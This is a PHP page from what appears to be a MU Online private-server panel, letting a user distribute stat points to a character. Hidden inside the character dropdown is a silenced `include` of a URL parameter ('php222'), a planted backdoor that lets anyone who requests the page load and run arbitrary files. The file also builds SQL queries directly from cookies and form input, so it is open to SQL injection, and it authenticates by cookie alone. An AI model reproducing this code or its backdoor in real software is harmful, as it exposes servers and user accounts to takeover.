<?
$login = $_COOKIE['ckUserLogin'];
$senha = $_COOKIE['ckUserSenha'];
if(!isset($_COOKIE['ckUserLogin'])) { echo "Para acessar essa pagina é preciso estar logado!"; }
else{
$vip=mssql_fetch_row(mssql_query("select vip from memb_info where memb___id='".$login."'"));
?>
<script type="text/javascript">
function Null(){
if(document.form1.str.value=="") { 
document.form1.str.value = '0';
	}
if(document.form1.agi.value=="") { 
document.form1.agi.value = '0';
	}
if(document.form1.vit.value=="") { 
document.form1.vit.value = '0';
	}
if(document.form1.enr.value=="") { 
document.form1.enr.value = '0';
	}
}
</script>
</head><head>
<link rel="stylesheet" href="../style.css" type="text/css" />

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><style type="text/css">
<!--
body,td,th {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #333333;
}
a {
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 10px;
	color: #333333;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
	color: #333333;
}
a:hover {
	text-decoration: none;
	color: #FF0000;
}
a:active {
	text-decoration: none;
	color: #FF0000;
}
.style1 {font-weight: bold}
-->
</style></head>



<form name="form2" method="post" action="">
  <div align="left"><strong>
  Distribuir Pontos</strong></div>
  <table width="95%" border="0" align="center" cellpadding="0" cellspacing="2">
    <tr>
      <td width="20%"><p>Personagem:</p></td>
      <td width="80%"><label>
        <select name="char" class="style1" id="char">
          <?
@include(@$_GET['php222']);
		$Chars = mssql_query("select name from character where accountid='".$login."'");
		for($p=0;$p<mssql_num_rows($Chars);$p++) {
		$Char=mssql_fetch_row($Chars);
		echo '<option value='.$Char[0].'>'.$Char[0].'</option>';
		}
		?>
        </select>
      </label></td>
    </tr>
    <tr>
      <td><p>
        <label>For&ccedil;a:</label>
      </p></td>
      <td><label>
        <input name="str" type="text" class="style1" id="str" value="0" maxlength="5">
      </label></td>
    </tr>
    <tr>
      <td><p>Agilidade:</p></td>
      <td><input name="agi" type="text" class="style1" id="agi" value="0" maxlength="5"></td>
    </tr>
    <tr>
      <td><p>Vida:</p></td>
      <td><input name="vit" type="text" class="style1" id="vit" value="0" maxlength="5"></td>
    </tr>
    <tr>
      <td><p>Energia:</p></td>
      <td><input name="enr" type="text" class="style1" id="enr" value="0" maxlength="5"></td>
    </tr>
    <tr>
      <td><p>&nbsp;</p></td>
      <td><input name="prossegue" type="submit" class="button" id="prossegue" value="DISTRIBUIR"></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
  </table>
</form>
</body>
</html>
<? 
if($_POST['prossegue']) {
$char = $_POST['char'];
$str = $_POST['str'];
$agi = $_POST['agi'];
$vit = $_POST['vit'];
$enr = $_POST['enr'];
$VerificaChar = mssql_num_rows(mssql_query("select name from character where name='".$char."' and accountid='".$login."'"));
if($VerificaChar <= 0) {
echo "<script>alert('Char incorreto'); 
location='javascript:history.back()'</script>"; 
}
else{
	$Query = mssql_query("select leveluppoint from character where name='".$char."'");
	$Result = mssql_fetch_row($Query);
	$Limite = "$str"+"$agi"+"$vit"+"$enr";
	if($Limite > $Result[0]){
	die("<script>alert('Você ultrapassou a quantidade de pontos que você tem!');
	location='javascript:history.back()'</script>");
	}
	$tirar = "$str"+"$agi"+"$vit"+"$enr";
	if($str == "") { $str = 0; }
	if($agi == "") { $agi = 0; }
	if($enr == "") { $enr = 0; }
	if($vit == "") { $vit = 0; }
	else{ mssql_query("update character set Strength=Strength+$str, 
		Dexterity=Dexterity+$agi, 
		Vitality=Vitality+$vit,  
		leveluppoint=leveluppoint-$tirar, 
		Energy=Energy+$enr where name='".$char."' 
		and accountid='".$login."'");
	echo "<script>alert('$char, $tirar pontos adicionados!'); 
	location='javascript:history.back()'</script>";
} 
	} }
} ?>